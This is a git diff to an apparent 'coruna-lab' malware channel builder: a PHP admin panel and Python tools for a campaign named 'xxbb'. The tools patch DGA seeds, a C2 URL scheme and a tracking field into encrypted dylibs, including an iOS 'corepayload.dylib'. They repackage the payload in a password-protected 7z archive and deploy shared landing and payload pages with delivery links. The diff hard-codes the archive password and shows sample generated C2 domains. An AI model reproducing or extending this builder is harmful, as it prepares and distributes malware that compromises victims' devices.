feat: xxbb
This commit is contained in:
@@ -118,7 +118,7 @@ class ChannelController extends Controller
|
||||
}
|
||||
|
||||
$builderType = (string) ($data['builder_type'] ?? Channel::BUILDER_OLD);
|
||||
$channelName = $builderType === Channel::BUILDER_NEW ? Channel::randomChannelName() : null;
|
||||
$channelName = null;
|
||||
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
@@ -131,7 +131,7 @@ class ChannelController extends Controller
|
||||
$builderType,
|
||||
$channelName,
|
||||
);
|
||||
$channelName = $build['channel_name'] ?? $channelName;
|
||||
$channelName = $build['channel_name'] ?? null;
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
|
||||
@@ -124,10 +124,7 @@ class Channel extends Model
|
||||
public function landingPath(): string
|
||||
{
|
||||
if ($this->isNewBuilder()) {
|
||||
$name = strtolower(trim((string) ($this->channel_name ?? '')));
|
||||
if ($name !== '') {
|
||||
return '/source/'.$name.'/index.html';
|
||||
}
|
||||
return '/weifile/weifile.html';
|
||||
}
|
||||
|
||||
return '/web/'.$this->channel_id.'/support.html';
|
||||
|
||||
@@ -76,20 +76,7 @@ class ChannelProjectService
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
$name = strtolower(trim((string) $channelName));
|
||||
if ($name === '') {
|
||||
return;
|
||||
}
|
||||
$cmd = [
|
||||
$this->pythonBinary($builderType),
|
||||
$this->builderScript('delete_channel.py', $builderType),
|
||||
'--artifact-root',
|
||||
$this->artifactRoot(),
|
||||
'--channel-name',
|
||||
$name,
|
||||
];
|
||||
$this->runBuilder($cmd, '删除渠道资源失败', $this->builderCwd($builderType));
|
||||
|
||||
// Shared /weifile + /details must not be wiped when a DB channel row is removed.
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -198,7 +185,7 @@ class ChannelProjectService
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
): array {
|
||||
$channelName = $this->normalizeChannelName((string) $channelName);
|
||||
unset($channelName); // shared /weifile layout; no per-channel folder
|
||||
if ($channelId === '202800cfb1ad3de68e11239dcc26c30b') {
|
||||
throw new RuntimeException('channel_id 不能与 7z 密码槽相同');
|
||||
}
|
||||
@@ -213,8 +200,6 @@ class ChannelProjectService
|
||||
$this->artifactRoot(),
|
||||
'--state-root',
|
||||
$this->stateRoot(self::BUILDER_NEW),
|
||||
'--channel-name',
|
||||
$channelName,
|
||||
'--channel-c',
|
||||
$channelId,
|
||||
'--scheme',
|
||||
@@ -230,12 +215,12 @@ class ChannelProjectService
|
||||
}
|
||||
|
||||
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
$weifilePath = '/source/'.$channelName.'/index.html';
|
||||
$weifilePath = (string) ($result['weifile_path'] ?? '/weifile/weifile.html');
|
||||
|
||||
return [
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => self::BUILDER_NEW,
|
||||
'channel_name' => $channelName,
|
||||
'channel_name' => null,
|
||||
'seeds' => [
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
|
||||
@@ -249,7 +234,7 @@ class ChannelProjectService
|
||||
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
|
||||
'support_path' => (string) ($result['support_path'] ?? $weifilePath),
|
||||
'weifile_path' => $weifilePath,
|
||||
'daily_path' => '',
|
||||
'daily_path' => (string) ($result['details_path'] ?? '/details/'),
|
||||
];
|
||||
}
|
||||
|
||||
|
||||
@@ -1,11 +1,18 @@
|
||||
# channel-builder-new
|
||||
|
||||
xxbb / weifile channel builder for coruna-lab. Separate from `channel-builder/`
|
||||
(lab `web/` + `sync/` layout). New-type channels are distinguished by
|
||||
`/source/{channel_name}/index.html`.
|
||||
(lab `web/` + `sync/` layout).
|
||||
|
||||
This pass patches **weifile secondary type-0x01 only** (DGA seeds + reporting
|
||||
field `c`). `details/` is copied as-is (core/`c` not rewritten yet).
|
||||
Applies **shared** artifacts:
|
||||
|
||||
- `/weifile/weifile.html` (+ stages / patched secondary `.min.js`)
|
||||
- `/details/` (`show.html` + patched `corepayload.js` + plugins)
|
||||
|
||||
This pass patches:
|
||||
|
||||
1. **weifile secondary type-0x01** — DGA seeds + reporting field `c`
|
||||
2. **details/corepayload** — all `c` slots (DGA + `/event` field), then rewrites
|
||||
`show.html` core `sha256` / `size`
|
||||
|
||||
```bash
|
||||
cd channel-builder-new
|
||||
@@ -13,29 +20,27 @@ python3 -m venv .venv
|
||||
.venv/bin/pip install -r requirements.txt
|
||||
|
||||
.venv/bin/python tools/build.py \
|
||||
--channel-name <8-32-alnum> \
|
||||
--channel-c <32-hex> \
|
||||
--apply --force
|
||||
```
|
||||
|
||||
Writes `{artifact-root}/source/{channel_name}/` (landing `index.html`) and
|
||||
shared `{artifact-root}/details/` (default `../public`).
|
||||
Writes `{artifact-root}/weifile/` and `{artifact-root}/details/` (default
|
||||
`../public`).
|
||||
|
||||
DGA seeds: omit `--deployment-seed` / `--reporting-seed` to reuse
|
||||
`storage/app/channel-builder-new/lab_seeds.json`, or generate them on first run.
|
||||
First generate writes one random seed and copies it to both deployment and
|
||||
reporting (same as `channel-builder`). CLI pair must also match. The first 5
|
||||
PLServerPool DGA candidates are stored in `lab_seeds.json` and returned in
|
||||
the create result (`domains.deployment` / `domains.reporting`).
|
||||
reporting (same as `channel-builder`). CLI pair must also match. Domain list is
|
||||
`DGA(channel_c)` (native pools use `c`, not the dep/rep C-strings).
|
||||
|
||||
| Flag | What it replaces | Where |
|
||||
|------|------------------|--------|
|
||||
| `--deployment-seed` | DGA seed → `%@.icu` / `backup%u.icu` | secondary dylibs (1 hit each) |
|
||||
| `--reporting-seed` | Reporting DGA seed | secondary dylibs (1 hit each) |
|
||||
| `--channel-c` | Native report field `c` (`202700cf…`) | secondary dylibs (1 hit each) |
|
||||
| `--scheme` | Native DGA/C2 URL scheme (`https://%@` / `https://backup%u.icu`) | secondary dylibs (default `https`; `http` is ATS-blocked on device for `.icu` hosts) |
|
||||
| `--deployment-seed` | DGA seed slot | secondary dylibs (1 hit each) |
|
||||
| `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) |
|
||||
| `--channel-c` | Native report / DGA `c` (`202700cf…`) | secondary (1) + corepayload (6) |
|
||||
| `--scheme` | Native DGA/C2 URL scheme | secondary dylibs (default `https`) |
|
||||
|
||||
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`
|
||||
(one nibble off `c`). Details modules still decrypt with that password.
|
||||
(one nibble off original `c`). Details modules still decrypt with that password.
|
||||
|
||||
`index.js` iptj URL / `channelCode` are not patched here. Native `/event`
|
||||
`c` still comes from core until a later details pass.
|
||||
`index.js` iptj URL / `channelCode` are not patched here.
|
||||
|
||||
@@ -1 +1,2 @@
|
||||
pycryptodome>=3.19
|
||||
py7zr>=0.21
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
"""Decrypt/encrypt xxbb details 7zAES wires (show.html / *.js)."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import shutil
|
||||
import subprocess
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
try:
|
||||
import py7zr
|
||||
except ImportError as exc: # pragma: no cover
|
||||
raise SystemExit("py7zr required: pip install py7zr") from exc
|
||||
|
||||
SEVEN_ZIP_PASSWORD = "202800cfb1ad3de68e11239dcc26c30b"
|
||||
# Matches original corepayload.js wire size closely (~521913).
|
||||
_7Z_PACK_FILTER = "LZMA2"
|
||||
|
||||
|
||||
def _find_7z() -> str:
|
||||
for name in ("7z", "7za"):
|
||||
path = shutil.which(name)
|
||||
if path:
|
||||
return path
|
||||
raise SystemExit(
|
||||
"7z required to pack xxbb details archives. Install p7zip / 7-Zip."
|
||||
)
|
||||
|
||||
|
||||
def extract_member(archive: bytes, *, password: str = SEVEN_ZIP_PASSWORD) -> tuple[str, bytes]:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp)
|
||||
arc = root / "in.7z"
|
||||
arc.write_bytes(archive)
|
||||
with py7zr.SevenZipFile(arc, mode="r", password=password) as handle:
|
||||
names = handle.getnames()
|
||||
if len(names) != 1:
|
||||
raise SystemExit(f"expected one archive member, got {names!r}")
|
||||
handle.extractall(path=root)
|
||||
member = names[0]
|
||||
data = (root / member).read_bytes()
|
||||
return Path(member).name, data
|
||||
|
||||
|
||||
def make_passworded_7z(
|
||||
member_name: str,
|
||||
payload: bytes,
|
||||
*,
|
||||
password: str = SEVEN_ZIP_PASSWORD,
|
||||
) -> bytes:
|
||||
arc_name = Path(member_name).name
|
||||
seven = _find_7z()
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
archive = Path(tmp) / "out.7z"
|
||||
cmd = [
|
||||
seven,
|
||||
"a",
|
||||
"-t7z",
|
||||
f"-m0={_7Z_PACK_FILTER}",
|
||||
"-mhe=on",
|
||||
f"-p{password}",
|
||||
f"-si{arc_name}",
|
||||
"-y",
|
||||
"-bso0",
|
||||
"-bsp0",
|
||||
str(archive),
|
||||
]
|
||||
proc = subprocess.run(cmd, input=payload, capture_output=True)
|
||||
if proc.returncode != 0 or not archive.is_file():
|
||||
detail = (proc.stderr or proc.stdout or b"").decode("utf-8", "replace").strip()
|
||||
raise RuntimeError(
|
||||
f"7z -si pack failed (code {proc.returncode}): {detail or 'no output'}"
|
||||
)
|
||||
return archive.read_bytes()
|
||||
@@ -1,9 +1,9 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Patch xxbb weifile secondary packs (DGA seeds + reporting field c).
|
||||
"""Patch xxbb secondary packs + corepayload `c`, apply shared weifile/details.
|
||||
|
||||
Per-channel landing:
|
||||
{artifact-root}/source/{channel_name}/index.html
|
||||
Shared details stay at {artifact-root}/details/.
|
||||
Artifact layout (shared, not per-channel folders):
|
||||
{artifact-root}/weifile/ (landing weifile.html + stages + patched secondary)
|
||||
{artifact-root}/details/ (show.html + patched corepayload.js + plugins)
|
||||
|
||||
Seed resolution (same idea as channel-builder/tools/new_project.py):
|
||||
1. both --deployment-seed and --reporting-seed
|
||||
@@ -22,6 +22,7 @@ import shutil
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
from _details_pack import extract_member, make_passworded_7z
|
||||
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
||||
from reproduce_xxbb_dga import generate_domains
|
||||
|
||||
@@ -37,8 +38,14 @@ RESULT_MARKER = "CORUNA_BUILD_RESULT "
|
||||
LAB_SEEDS_NAME = "lab_seeds.json"
|
||||
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
|
||||
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
|
||||
CHANNEL_ROOT = "source"
|
||||
LANDING_NAME = "index.html"
|
||||
WEIFILE_ROOT = "weifile"
|
||||
DETAILS_ROOT = "details"
|
||||
LANDING_NAME = "weifile.html"
|
||||
CORE_WIRE_NAME = "corepayload.js"
|
||||
CORE_MEMBER_NAME = "corepayload.dylib"
|
||||
SHOW_WIRE_NAME = "show.html"
|
||||
SHOW_MEMBER_NAME = "data.bin"
|
||||
CORE_C_EXPECT = 6
|
||||
DGA_COUNT = 5
|
||||
|
||||
ORIGINAL_DEP = "321fb0c812b46265421b5ad9654c2b81"
|
||||
@@ -231,6 +238,73 @@ def patch_dylib(
|
||||
return bytes(buf)
|
||||
|
||||
|
||||
def patch_core_dylib(data: bytes, *, channel_c: str, label: str) -> bytes:
|
||||
"""Replace all ORIGINAL_C slots in corepayload.dylib (DGA + report field)."""
|
||||
buf = bytearray(data)
|
||||
replace_slot(
|
||||
buf,
|
||||
ORIGINAL_C.encode("ascii"),
|
||||
pack_ascii32("--channel-c", channel_c),
|
||||
label=label,
|
||||
expect=CORE_C_EXPECT,
|
||||
)
|
||||
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
|
||||
raise SystemExit(f"{label}: original c still present")
|
||||
if channel_c.encode("ascii") not in buf:
|
||||
raise SystemExit(f"{label}: patched channel_c missing")
|
||||
return bytes(buf)
|
||||
|
||||
|
||||
def update_show_config(config_bytes: bytes, *, core_sha256: str, core_size: int) -> bytes:
|
||||
doc = json.loads(config_bytes.decode("utf-8"))
|
||||
if not isinstance(doc, dict) or not isinstance(doc.get("core"), dict):
|
||||
raise SystemExit("show data.bin: missing core object")
|
||||
core = doc["core"]
|
||||
core["sha256"] = core_sha256
|
||||
core["size"] = core_size
|
||||
# Keep compact JSON (no spaces) to stay close to campaign wire shape.
|
||||
return json.dumps(doc, separators=(",", ":"), ensure_ascii=False).encode("utf-8")
|
||||
|
||||
|
||||
def build_details(
|
||||
*,
|
||||
channel_c: str,
|
||||
out_dir: Path,
|
||||
) -> dict:
|
||||
"""Patch corepayload + refresh show.html hashes; write wires under out_dir/details_wires."""
|
||||
src_core = SOURCE_DETAILS / CORE_WIRE_NAME
|
||||
src_show = SOURCE_DETAILS / SHOW_WIRE_NAME
|
||||
if not src_core.is_file() or not src_show.is_file():
|
||||
raise SystemExit(f"missing details templates under {SOURCE_DETAILS}")
|
||||
|
||||
member, core_plain = extract_member(src_core.read_bytes())
|
||||
if member != CORE_MEMBER_NAME:
|
||||
raise SystemExit(f"unexpected core member name: {member!r}")
|
||||
patched_core = patch_core_dylib(core_plain, channel_c=channel_c, label=CORE_MEMBER_NAME)
|
||||
core_digest = sha256_hex(patched_core)
|
||||
core_wire = make_passworded_7z(CORE_MEMBER_NAME, patched_core)
|
||||
|
||||
show_member, show_plain = extract_member(src_show.read_bytes())
|
||||
if show_member != SHOW_MEMBER_NAME:
|
||||
raise SystemExit(f"unexpected show member name: {show_member!r}")
|
||||
show_updated = update_show_config(show_plain, core_sha256=core_digest, core_size=len(patched_core))
|
||||
show_wire = make_passworded_7z(SHOW_MEMBER_NAME, show_updated)
|
||||
|
||||
wires = out_dir / "details_wires"
|
||||
wires.mkdir(parents=True, exist_ok=True)
|
||||
(wires / CORE_WIRE_NAME).write_bytes(core_wire)
|
||||
(wires / SHOW_WIRE_NAME).write_bytes(show_wire)
|
||||
(out_dir / "dylibs" / CORE_MEMBER_NAME).write_bytes(patched_core)
|
||||
|
||||
return {
|
||||
"core_sha256": core_digest,
|
||||
"core_size": len(patched_core),
|
||||
"core_wire_size": len(core_wire),
|
||||
"show_wire_size": len(show_wire),
|
||||
"core_c_hits": patched_core.count(channel_c.encode("ascii")),
|
||||
}
|
||||
|
||||
|
||||
def copy_tree(src: Path, dst: Path) -> None:
|
||||
if dst.exists():
|
||||
shutil.rmtree(dst)
|
||||
@@ -397,7 +471,7 @@ def default_state_root() -> Path:
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Replace weifile type-0x01 DGA seeds and reporting c, then re-encrypt .min.js."
|
||||
description="Patch xxbb secondary + corepayload c; apply shared /weifile and /details."
|
||||
)
|
||||
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
|
||||
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
|
||||
@@ -407,13 +481,13 @@ def main() -> int:
|
||||
)
|
||||
parser.add_argument(
|
||||
"--channel-name",
|
||||
help="per-channel folder + html name; required with --apply",
|
||||
help="deprecated/ignored (shared /weifile layout; kept for CLI compatibility)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--artifact-root",
|
||||
type=Path,
|
||||
default=PROJECT_ROOT / "public",
|
||||
help="directory that will contain {channel_name}/ and details/",
|
||||
help="directory that will contain weifile/ and details/",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--state-root",
|
||||
@@ -429,12 +503,12 @@ def main() -> int:
|
||||
parser.add_argument(
|
||||
"--apply",
|
||||
action="store_true",
|
||||
help="copy weifile into {artifact}/source/{channel_name}/ and shared details/",
|
||||
help="write shared {artifact}/weifile/ and {artifact}/details/",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--force",
|
||||
action="store_true",
|
||||
help="replace an existing {channel_name}/ directory",
|
||||
help="replace existing weifile/ and details/ (default with --apply)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scheme",
|
||||
@@ -453,11 +527,9 @@ def main() -> int:
|
||||
cli_c=args.channel_c,
|
||||
)
|
||||
|
||||
channel_name = ""
|
||||
# Optional legacy flag; shared layout no longer uses per-channel folders.
|
||||
if args.channel_name:
|
||||
channel_name = validate_channel_name(args.channel_name)
|
||||
elif args.apply:
|
||||
raise SystemExit("--channel-name is required with --apply")
|
||||
validate_channel_name(args.channel_name)
|
||||
|
||||
meta = load_keys()
|
||||
stems = meta["stems"]
|
||||
@@ -499,33 +571,38 @@ def main() -> int:
|
||||
built.append({"stem": stem, "group": group, "size": len(wire), "sha256": sha256_hex(wire)})
|
||||
print(f" wrote {dest.name} ({len(wire)} bytes)")
|
||||
|
||||
details_meta = build_details(channel_c=channel_c, out_dir=out)
|
||||
print(
|
||||
f"corepayload: patched c hits={details_meta['core_c_hits']} "
|
||||
f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}"
|
||||
)
|
||||
|
||||
weifile_path = ""
|
||||
details_path = ""
|
||||
if args.apply:
|
||||
artifact = args.artifact_root.resolve()
|
||||
dest_channel = artifact / CHANNEL_ROOT / channel_name
|
||||
dest_details = artifact / "details"
|
||||
if dest_channel.exists() and not args.force:
|
||||
raise SystemExit(f"channel dir already exists (pass --force): {dest_channel}")
|
||||
dest_weifile = artifact / WEIFILE_ROOT
|
||||
dest_details = artifact / DETAILS_ROOT
|
||||
# Shared trees are always replaced on --apply.
|
||||
if not SOURCE_WEIFILE.is_dir():
|
||||
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
|
||||
if not SOURCE_DETAILS.is_dir():
|
||||
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
|
||||
copy_tree(SOURCE_WEIFILE, dest_channel)
|
||||
landing = dest_channel / LANDING_NAME
|
||||
src_html = dest_channel / "weifile.html"
|
||||
if not src_html.is_file():
|
||||
raise SystemExit(f"missing weifile.html in template copy: {src_html}")
|
||||
shutil.copy2(src_html, landing)
|
||||
copy_tree(SOURCE_WEIFILE, dest_weifile)
|
||||
if not (dest_weifile / LANDING_NAME).is_file():
|
||||
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
|
||||
copy_tree(SOURCE_DETAILS, dest_details)
|
||||
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
|
||||
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
|
||||
for item in built:
|
||||
src = out / f"{item['stem']}.min.js"
|
||||
dst = dest_channel / src.name
|
||||
dst = dest_weifile / src.name
|
||||
shutil.copy2(src, dst)
|
||||
print(f"applied -> {dst}")
|
||||
print(f"applied weifile -> {dest_weifile}")
|
||||
print(f"applied details -> {dest_details}")
|
||||
weifile_path = f"/{CHANNEL_ROOT}/{channel_name}/{LANDING_NAME}"
|
||||
details_path = "/details/"
|
||||
weifile_path = f"/{WEIFILE_ROOT}/{LANDING_NAME}"
|
||||
details_path = f"/{DETAILS_ROOT}/"
|
||||
|
||||
print("deployment domains:")
|
||||
for i, domain in enumerate(domains.get("deployment") or [], 1):
|
||||
@@ -537,12 +614,12 @@ def main() -> int:
|
||||
result = {
|
||||
"campaign": "xxbb",
|
||||
"builder_type": "new",
|
||||
"channel_name": channel_name or None,
|
||||
"channel_name": None,
|
||||
"weifile_path": weifile_path or None,
|
||||
"support_path": weifile_path or None,
|
||||
"details_path": details_path or None,
|
||||
"seeds_initialized": seeds_initialized,
|
||||
"sync_rebuilt": False,
|
||||
"sync_rebuilt": bool(args.apply),
|
||||
"domains": domains,
|
||||
"seeds": {
|
||||
"deployment_seed": dep,
|
||||
@@ -552,9 +629,11 @@ def main() -> int:
|
||||
"seven_zip_password": SEVEN_ZIP_PASSWORD,
|
||||
"files": built,
|
||||
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
|
||||
"details": details_meta,
|
||||
"scheme": args.scheme,
|
||||
"notes": [
|
||||
"details/core not patched; native /event c still original until a later pass",
|
||||
"secondary + corepayload c patched; domains follow channel_c DGA",
|
||||
"shared artifact paths: /weifile/weifile.html and /details/",
|
||||
"index.js iptj URL / channelCode not patched",
|
||||
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
|
||||
f"native DGA/C2 scheme={args.scheme}",
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Delete one channel's {channel_name}/ tree; leave shared details/ and lab_seeds.json intact."""
|
||||
"""No-op delete for shared /weifile + /details layout.
|
||||
|
||||
New-builder assets are deployment-wide. Removing one DB channel must not wipe
|
||||
shared weifile/details used by the active campaign.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import shutil
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import build as xxbb_build
|
||||
@@ -15,8 +17,10 @@ RESULT_MARKER = "CORUNA_BUILD_RESULT "
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description="Remove {channel_name}/ from artifact root")
|
||||
parser.add_argument("--channel-name", required=True)
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Shared weifile/details are not deleted per channel (noop)."
|
||||
)
|
||||
parser.add_argument("--channel-name", default="", help="ignored (legacy)")
|
||||
parser.add_argument(
|
||||
"--artifact-root",
|
||||
type=Path,
|
||||
@@ -24,24 +28,17 @@ def main() -> int:
|
||||
help="shared artifact root (default: coruna-lab/public)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
channel_name = xxbb_build.validate_channel_name(args.channel_name)
|
||||
artifact_root = args.artifact_root.resolve()
|
||||
channel_dir = artifact_root / xxbb_build.CHANNEL_ROOT / channel_name
|
||||
removed = False
|
||||
if channel_dir.is_dir():
|
||||
shutil.rmtree(channel_dir)
|
||||
removed = True
|
||||
print(f"removed {channel_dir}")
|
||||
else:
|
||||
print(f"missing {channel_dir} (noop)")
|
||||
|
||||
result = {
|
||||
"status": "deleted" if removed else "absent",
|
||||
"channel_name": channel_name,
|
||||
"status": "skipped",
|
||||
"reason": "shared_weifile_details",
|
||||
"channel_name": (args.channel_name or "").strip().lower() or None,
|
||||
"artifact_root": str(artifact_root),
|
||||
"removed": removed,
|
||||
"removed": False,
|
||||
"weifile": str(artifact_root / xxbb_build.WEIFILE_ROOT),
|
||||
"details": str(artifact_root / xxbb_build.DETAILS_ROOT),
|
||||
}
|
||||
print("shared /weifile and /details left intact (noop)")
|
||||
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")), flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
@@ -10,6 +10,7 @@ from pathlib import Path
|
||||
TOOLS = Path(__file__).resolve().parents[1]
|
||||
sys.path.insert(0, str(TOOLS))
|
||||
|
||||
from _details_pack import extract_member # noqa: E402
|
||||
from _secondary_pack import decrypt_secondary_minjs # noqa: E402
|
||||
import build as xxbb_build # noqa: E402
|
||||
from reproduce_xxbb_dga import generate_domains # noqa: E402
|
||||
@@ -49,12 +50,12 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
out = decrypt_secondary_minjs(wire, key)
|
||||
self.assertEqual(out, patched[info["group"]])
|
||||
|
||||
def test_apply_writes_named_channel_html(self) -> None:
|
||||
def test_apply_writes_shared_weifile_and_patched_details(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
artifact = Path(tmp) / "public"
|
||||
state = Path(tmp) / "state"
|
||||
out = Path(tmp) / "out"
|
||||
name = "abcd1234"
|
||||
channel_c = "33333333333333333333333333333333"
|
||||
argv = [
|
||||
"build.py",
|
||||
"--deployment-seed",
|
||||
@@ -62,9 +63,7 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
"--reporting-seed",
|
||||
"11111111111111111111111111111111",
|
||||
"--channel-c",
|
||||
"33333333333333333333333333333333",
|
||||
"--channel-name",
|
||||
name,
|
||||
channel_c,
|
||||
"--artifact-root",
|
||||
str(artifact),
|
||||
"--state-root",
|
||||
@@ -80,30 +79,46 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertEqual(xxbb_build.main(), 0)
|
||||
finally:
|
||||
sys.argv = old
|
||||
channel_dir = artifact / "source" / name
|
||||
weifile = artifact / "weifile"
|
||||
details = artifact / "details"
|
||||
self.assertTrue((channel_dir / "index.js").is_file())
|
||||
self.assertTrue((channel_dir / "weifile.html").is_file())
|
||||
self.assertTrue((channel_dir / "index.html").is_file())
|
||||
self.assertTrue((weifile / "index.js").is_file())
|
||||
self.assertTrue((weifile / "weifile.html").is_file())
|
||||
self.assertFalse((artifact / "source").exists())
|
||||
self.assertTrue((details / "show.html").is_file())
|
||||
self.assertTrue((details / "corepayload.js").is_file())
|
||||
self.assertTrue((details / "helion.js").is_file())
|
||||
stem = "800d80e0fa1f2baf9a9e41169ecc88e18042bb17"
|
||||
blob = (channel_dir / f"{stem}.min.js").read_bytes()
|
||||
blob = (weifile / f"{stem}.min.js").read_bytes()
|
||||
key = bytes.fromhex(json.loads((TOOLS / "secondary_keys.json").read_text())["stems"][stem]["key"])
|
||||
dylib = decrypt_secondary_minjs(blob, key)
|
||||
self.assertIn(b"11111111111111111111111111111111", dylib)
|
||||
self.assertIn(b"33333333333333333333333333333333", dylib)
|
||||
self.assertIn(channel_c.encode(), dylib)
|
||||
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib)
|
||||
self.assertIn(b"https://%@\x00", dylib)
|
||||
self.assertNotIn(b"http://%@\x00", dylib)
|
||||
|
||||
member, core = extract_member((details / "corepayload.js").read_bytes())
|
||||
self.assertEqual(member, "corepayload.dylib")
|
||||
self.assertEqual(core.count(channel_c.encode()), xxbb_build.CORE_C_EXPECT)
|
||||
self.assertEqual(core.count(xxbb_build.ORIGINAL_C.encode()), 0)
|
||||
|
||||
show_member, show_plain = extract_member((details / "show.html").read_bytes())
|
||||
self.assertEqual(show_member, "data.bin")
|
||||
show = json.loads(show_plain.decode("utf-8"))
|
||||
self.assertEqual(show["core"]["sha256"], xxbb_build.sha256_hex(core))
|
||||
self.assertEqual(show["core"]["size"], len(core))
|
||||
|
||||
seeds = json.loads((state / "lab_seeds.json").read_text())
|
||||
self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111")
|
||||
self.assertEqual(seeds["reporting_seed"], "11111111111111111111111111111111")
|
||||
self.assertEqual(seeds["channel_c"], "33333333333333333333333333333333")
|
||||
self.assertEqual(seeds["channel_c"], channel_c)
|
||||
self.assertEqual(seeds["domains"]["deployment"][0], "syv4c2c8nb8fpzo.icu")
|
||||
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0]))
|
||||
|
||||
manifest = json.loads((out / "MANIFEST.json").read_text())
|
||||
self.assertEqual(manifest["weifile_path"], "/weifile/weifile.html")
|
||||
self.assertEqual(manifest["details_path"], "/details/")
|
||||
|
||||
def test_seeds_generated_once_then_reused(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
state = Path(tmp) / "state"
|
||||
@@ -216,23 +231,31 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertNotIn(b"https://backup%u.icu\x00", http)
|
||||
self.assertEqual(len(http), len(https))
|
||||
|
||||
def test_apply_requires_channel_name(self) -> None:
|
||||
def test_apply_works_without_channel_name(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
artifact = Path(tmp) / "public"
|
||||
state = Path(tmp) / "state"
|
||||
argv = [
|
||||
"build.py",
|
||||
"--channel-c",
|
||||
"33333333333333333333333333333333",
|
||||
"--deployment-seed",
|
||||
"11111111111111111111111111111111",
|
||||
"--reporting-seed",
|
||||
"11111111111111111111111111111111",
|
||||
"--artifact-root",
|
||||
tmp,
|
||||
str(artifact),
|
||||
"--state-root",
|
||||
tmp,
|
||||
str(state),
|
||||
"--apply",
|
||||
]
|
||||
old = sys.argv
|
||||
try:
|
||||
sys.argv = argv
|
||||
with self.assertRaises(SystemExit):
|
||||
xxbb_build.main()
|
||||
self.assertEqual(xxbb_build.main(), 0)
|
||||
finally:
|
||||
sys.argv = old
|
||||
self.assertTrue((artifact / "weifile" / "weifile.html").is_file())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -174,13 +174,14 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
var links = data.links || [];
|
||||
var html = '<div style="padding:16px;line-height:1.6;font-size:13px;">';
|
||||
html += '<div style="margin-bottom:10px;"><b>渠道</b> ' + channelId + '</div>';
|
||||
if (data.builder_type === 'new' && data.channel_name) {
|
||||
html += '<div style="margin-bottom:8px;"><b>channel_name</b> <code>' + data.channel_name + '</code></div>';
|
||||
}
|
||||
if (data.weifile_path || data.support_path) {
|
||||
html += '<div style="margin-bottom:10px;"><b>落地页</b> <code>' +
|
||||
(data.weifile_path || data.support_path).replace(/</g, '<') + '</code></div>';
|
||||
}
|
||||
if (data.builder_type === 'new' && data.daily_path) {
|
||||
html += '<div style="margin-bottom:10px;"><b>details</b> <code>' +
|
||||
String(data.daily_path).replace(/</g, '<') + '</code></div>';
|
||||
}
|
||||
if (links.length) {
|
||||
html += '<div style="margin-bottom:6px;"><b>投放链接</b></div>';
|
||||
